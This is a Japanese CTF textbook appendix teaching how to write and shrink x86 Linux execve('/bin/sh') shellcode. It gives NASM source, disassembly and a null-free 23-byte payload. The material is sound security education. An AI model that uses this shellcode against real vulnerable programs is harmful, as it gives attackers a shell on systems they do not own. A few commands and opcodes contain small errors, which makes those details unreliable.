

2章付録

シェルコード

01

02

pwn

03

04

05

付2.1 シェルコードとは

シェルコードは攻撃の際に使う機械語で書かれたプログラムの断片のことで、主にシェルを起動するために作られている場合が多いことから、これをシェルコードと呼んでいます。シェルコードは基本的に外部のライブラリを必要とせず、単体で動作するように作られています。シェルコードの分野は書籍『セキュリティコンテストチャレンジブック』の第2章 pwn で紹介した脆弱性とは独立しているため、CTF においては、シェルコードを書く能力を問う問題から、バッファオーバーフローからシェルコードを使った攻撃に発展させる問題などで幅広く登場します。

また、シェルコードをいちいち書かなくとも、"shellcode" で検索するとシェルを起動するシェルコードや特定のIPポートに接続してシェルを立ち上げるシェルコードなど、多くの種類のシェルコードを入手することができます。

付2.2 シェルコードの基礎知識

シェルコードは機械語で書かれていますが、さすがに人間がいきなり機械語を書くのは難しいので、普通はアセンブラを書いてそれを機械語にアセンブルするという方法で作成します。感覚としては普段バイナリ解析のときよく読んでいるアセンブラを読むのではなく、自分の手で書くという作業になります。

アセンブルするときに使うツールとして、GNU Assembler (GAS) と Netwide Assembler (NASM) の2種類がメジャーですが、本書では標準でIntel記法を採用しているNASMを使って解説を進めていきます。

シェルコードは基本的に外部ライブラリを使わずにアセンブラを書くため、私たちが普段使っているputsやprintf、fgetsといった標準ライブラリ(libc)の関数を呼び出すことはありません。その代わりに、アセンブラから直接システムコールを使ってOSの機能を直接呼び出すことになります。

■ システムコール

機械語から CPU に対して割り込みをかけることで OS の機能呼び出すことができます。システムコールには非常に多くの種類があり、入出力を行う `read`、`write`をはじめ、別プロセスを起動する `execve`やファイルを開く `open`などもシステムコールで提供されている機能です。

これらの機能は、レジスタに値をセットしたあと、システムコール命令を実行することで呼び出すことができます。例えば、x86 環境で標準入力からアドレス `0x804b000` に `0x100` バイトの文字列を読み込む場合は、次のようなアセンブラを書き、機械語にコンパイルします。

```
mov eax, 3
mov ebx, 0
mov ecx, 0x804b000
mov edx, 0x100
int 0x80
```

感のよい方は既にお気づきかも知れませんが、`ebx`、`ecx`、`edx` は `read` の 3 つの引数になっていて、最後の `int 0x80` が CPU に対するシステムコールの割り込み処理です。`eax` を 3 にセットしていますが、これが多くの種類のシステムコールを区別するためのシステムコール番号となっています。すべてを列挙すると使わないものも多く含まれるため、CTF でよく使うシステムコールの番号一覧を表にしました。

種別	x86	x86_64	引数1	引数2	引数3
read	3	0	fd	buf	count
write	4	1	fd	buf	count
execve	11	59	filename	argv	envp
dup2	63	33	old	new	-
mprotect	125	10	start	len	prot

また、x86 と x86_64 においてもシステムコールの呼び出し方に差異が存在するため、システムコールの引数と命令の対応も表にまとめました。

アーキテクチャ	命令	番号	引数1	引数2	引数3	引数4
x86	int 0x80	eax	ebx	ecx	edx	esi
x86_64	syscall	rax	rdi	rsi	rdx	r10

付2.3 シェルコードを書いてみる

それでは実際にシェルコードを書く段階に入ります。まずは x86 でシェルを起動するシェルコードを書いてみましょう。シェルを起動するためには `execve` システムコールを使って `/bin/sh` を実行します。`execve` システムコールの引数を考えると、Linux 環境では `argv`、`envp` は `NULL` ポインタで動作するのですが、`filename` には必ず `/bin/sh` の文字列の先頭ポインタを渡さなければいけません。また、シェルコードは独立して実行できることが望ましいので、`/bin/sh` の文字列もシェルコード内に入れ込むことになります。

文字列をどう扱うかはいったん置いておいて、その他の部分のシェルコードを構築してしまいます。

```
BITS 32
global _start
```

```
_start:
    mov eax, 11
    mov ebx, ; ['/bin/sh' のアドレス]
    mov ecx, 0
    mov edx, 0
    int 0x80
```

`/bin/sh` のアドレスを `ebx` にセットしなければなりません。方法はいくつかあるのですが、まずは `jmp-call` を使ってアドレスを入手する方法を紹介します。

`call` 命令は指定された関数へジャンプするとともに `call` 命令の位置 + 5 のアドレス、すなわち `call` 命令で飛んだ先からリターンするためのリターンアドレスをスタックに `push` します。うまく `call` 命令を利用すれば、スタックの一番上に `/bin/sh` の文字列へのアドレスがある状態でシェルコードを継続することができるのです。実際に `jmp-call`

を使ってレジスタに `/bin/sh` のアドレスをセットするアセンブラを書いてみましょう。

```
; binsh.s
BITS 32
global _start

_start:
    mov eax, 11
    jmp buf

setebx:
    pop ebx
    mov ecx, 0
    mov edx, 0
    int 0x80

buf:
    call setebx
    db '/bin/sh', 0
```

`/bin/sh` という文字列が機械語として実行されてしまうと困るので、シェルコードの末尾に配置しています。途中で `buf` へジャンプし、そこから `setebx` を `call` することで `/bin/sh` のアドレスをスタックに乗せてシェルコードを継続させています。あとは `pop` 命令を使ってそのアドレスを `ebx` にセットするだけです。

アセンブラのコードが書けたのでこれを NASM を使ってアセンブルしてみます。アセンブルが完了したら `ndisasm` コマンドを使って機械語を逆アセンブルしてみます。また、シェルコードのサイズも確認しておきましょう。

```
$ nasm binsh.s
$ ndisasm -b 32 binsh
00000000 B80B000000      mov eax,0xb
00000005 EB0D          jmp short 0x14
00000007 5B              pop ebx
00000008 B900000000      mov ecx,0x0
0000000D BA00000000      mov edx,0x0
00000012 CD80          int 0x80
00000014 E8FFFFFFF       call dword 0x7
00000019 2F              das
0000001A 62696E          bound ebp,[ecx+0x6e]
0000001D 2F              das
0000001E 7368            jnc 0x88
00000020 00              db 0x00
$ wc binsh
0  1 33 binsh
```

完成したシェルコードを実際に動かして動作を確認してみたいところですが、このままでは NASM の出力形式がバイナリファイルになっているため動かすことができません。Linux 上で動かすためにはオブジェクト形式で出力し、更にリンカを実行して実行形式のファイルを作成する必要があります。

```
$ nasm -f aout binsh.s
$ ld -m elf_i386 binsh.o
$ ./a.out
$ ls
a.out binsh.o binsh.s
$ exit
```

シェルから `./a.out` を実行して起動するのもシェルであるためわかりにくくなっていますが、シェルコードが実際に動いている様子を確認することができます。

01

02

UWU

03

04

05

付2.4 シェルコードを圧縮する

シェルコードはできるだけ短く書くことで小さなバッファにもシェルコードを送り込みやすくなります。

先ほど 33 バイトだった `binsh.s` を様々なテクニックを用いて大幅にダイエットしてみましょう。

■ XOR を使う

シェルコードで目立つのは `mov ecx, 0` などの `mov` 命令に NULL バイトが多く含まれていてもったいないという点です。また、NULL バイトは文字列の終端として扱われるため、シェルコード中では極力使わない方がよりポータブルなシェルコードを作成することができます。

XOR は排他的論理和の演算を行いますが、この演算は同じ値で XOR を取ると結果が 0 になる特徴があります。`mov ecx, 0` では単純に `ecx` を 0 にするという処理だけであるため、`xor` 命令に置換することができます。

```
; binsh2.s
BITS 32
global _start

_start:
    mov eax, 11
    jmp buf

setebx:
    pop ebx
    xor ecx, ecx
    xor edx, edx
    int 0x80

buf:
    call setebx
    db '/bin/sh', 0
```

これを NASM でアセンブルしてサイズを確認すると 33 バイトから 27 バイトと、6 バイトもの削減を達成することができました。`mov` 命令によるゼロクリアを `xor` 命令に置

き換えることでサイズ削減と NULL バイトの除去の一石二鳥の効果があるため、シェルコードを作成するときには忘れずに使うようにしましょう。

```
$ nasm binsh2.s
$ wc binsh2
0 1 27 binsh2
$ ndisasm -b32 binsh2
00000000 B80B000000 mov eax,0xb
00000005 EB07 jmp short 0xe
00000007 5B pop ebx
00000008 31C9 xor ecx,ecx
0000000A 31D2 xor edx,edx
0000000C CD80 int 0x80
0000000E E8F4FFFFFF call dword 0x7
00000013 2F das
00000014 62696E bound ebp,[ecx+0x6e]
00000017 2F das
00000018 7368 jnc 0x82
0000001A 00 db 0x00
```

■ 小さいサイズのレジスタを使用する

次に目がつくのは `mov eax, 11` の命令です。他の `mov` 命令は単純に `xor` 命令に置き換えることで短くすることができましたが、0 以外の値をセットしている場合にはどうすればよいでしょうか。実は `eax`、`ebx`、`ecx`、`edx` のレジスタには 1 バイト単位でアクセスする方法が存在します。レジスタのすべての範囲にアクセスできるわけではありませんが、次の表のような対応でレジスタにアクセスすることができます。

31	...	24	23	...	16	15	...	8	7	...	0
EAX, EBX, ECX, EDX											
						AX, BX, CX, DX					
						AH, BH, CH, DH			AL, BL, CL, DL		

例えば、`eax = 0x12345678` となっているとき、`eax` レジスタの下位 8 ビットにアクセスしたい場合は `al` レジスタにアクセスすることで `0x78` の部分の値を読み書きできることになります。

mov eax, 11という命令は見方を変えれば「eax レジスタをゼロクリアしたあとに al レジスタに 11 を書き込む」というように 2 つに分けて考えることができます。つまり、先ほどの XOR を使ったゼロリセットと al レジスタを使った書き込みを行うことで mov eax, 11という命令を置き換えることができます。

```
; binsh3.s
BITS 32
global _start

_start:
    xor eax, eax
    mov al, 11
    jmp buf
setebx:
    pop ebx
    xor ecx, ecx
    xor edx, edx
    int 0x80

buf:
    call setebx
    db '/bin/sh', 0
```

このコードを先ほどと同じように NASM でコンパイルしてサイズの比較をしてみます。

```
$ nasm binsh3.s
$ wc binsh3
0 2 26 binsh3
$ ndisasm -b 32 binsh3
00000000 31C0          xor eax,eax
00000002 B00B          mov al,0xb
00000004 EB07          jmp short 0xd
00000006 5B           pop ebx
00000007 31C9          xor ecx,ecx
00000009 31D2          xor edx,edx
0000000B CD80          int 0x80
```


0000000D	E8F4FFFFFF	call dword 0x6
00000012	2F	das
00000013	62696E	bound ebp,[ecx+0x6e]
00000016	2F	das
00000017	7368	jnc 0x81
00000019	00	db 0x00

置き換えた結果、27 バイトだったシェルコードが1 バイト短くなり、26 バイトになりました。同時に シェルコードの末端以外に NULL バイトが出現しなくなったため、文字列として扱った際に NULL バイトにより処理が途中で止まる問題も発生しなくなりました。

■ スタック上にバッファを取る

ここまでで2つのテクニックを用いてシェルコードの短縮をしてきましたが、シェル起動のためのシェルコードはまだ短縮することができます。最初は説明の簡単化のために jmp-call を使って /bin/sh のアドレスを取得していましたが、この文字列をスタック上に push してアドレスを取得することでさらなるシェルコード短縮が実現します。

push 命令はスタックトップに値を追加する動作を行います。スタックはメモリ上に存在するため、スタックのトップを指す ESP レジスタはメモリ上の値を保持していることになります。つまり、スタック上に文字列のバッファを置いてしまえば ESP レジスタを使って文字列の先頭アドレスを取得できるのです。

スタックには /bin//sh という 8 バイトの文字列と、文字列の終端となる NULL バイトを 3 回に分けて push しています。スタックは上に積み上げていくため、push するときは順番に気をつけてください。

スタック		
3回目	'/bin'	0x6e69622f
2回目	'//sh'	0x68732f2f
1回目	NULL	0

この通りにスタックに push するときのアセンブラ命令は次のようになります。

```
push 0
push 0x68732f2f
push 0x6e69622f
```

01
02
03
04
05

しかし、このままでは `push 0` を行うときにシェルコード中に NULL バイトが登場してしまうことが予想されます。2 つのテクニックを使ってせっかく NULL バイトをなくしたのにこれでは意味がありません。代わりに `xor` 命令でゼロクリアしたレジスタの値を `push` することでシェルコード中に NULL バイトが現れるのを防ぐことができます。

スタックへ `/bin//sh` の文字列を置くことさえできてしまえば、`mov ebx, esp` を使うだけで簡単に文字列のアドレスを EBX レジスタにセットすることができます。ここまでの一連の変更を加えたシェルコードは次のようになります。

```
; binsh4.s
BITS 32
global _start

_start:
    xor eax, eax
    mov al, 11
    xor ecx, ecx
    xor edx, edx
    push ecx
    push 0x68732f2f
    push 0x6e69622f
    mov ebx, esp
    int 0x80
```

最初に書いたシェルコードと比べると驚くほどすっきりした印象を持つかと思います。シェルコードを短く書くということは無駄な処理を省くことと同じですから、短いシェルコードほど綺麗にまとまっている印象を受けるようになります。

それではこのコードをアセンブルして結果を確認してみましょう。

```
$ nasm binsh4.s
$ wc binsh4
0 2 23 binsh4
$ ndisasm -b 32 binsh4
00000000 31C0          xor eax,eax
00000002 B00B          mov al,0xb
00000004 31C9          xor ecx,ecx
00000006 31D2          xor edx,edx
```

00000008	51	push ecx
00000009	682F2F7368	push dword 0x68732f2f
0000000E	682F62696E	push dword 0x6e69622f
00000013	89E3	mov ebx,esp
00000015	CD80	int 0x80

26 バイトからさらに 3 バイト短くなり、なんと 23 バイトでシェルが起動するシェルコードを書くことができました。最初のシェルコードが 33 バイトだったことを考えると、10 バイトの削減に成功したことになります。さらに NULL バイトも含まれておらず、とても整ったシェルコードに生まれ変わりました。

最後にここまで短くなったシェルコードが本当に動くかどうか確認します。

```
$ nasm -f aout binsh4.s
$ ld -m elf_i386 binsh.o
$ ./a.out
$ id
uid=1000(ctf4b) gid=1000(ctf4b) groups=1000(ctf4b),4(adm),24(cdrom),27(sudo),
    30(dip),46(plugdev),109(lpadmin),110(sambashare)
$ exit
```

問題なく動いているようです。このようなテクニックを知っておくシェルコードを短くするだけでなく、特定バイトを使うことができない状況でシェルコードを書くといった制約付きのシェルコード問題が出題されたときに焦らず対処できるようになるので、日ごろからシェルコードを書いてみる習慣を付けておきましょう。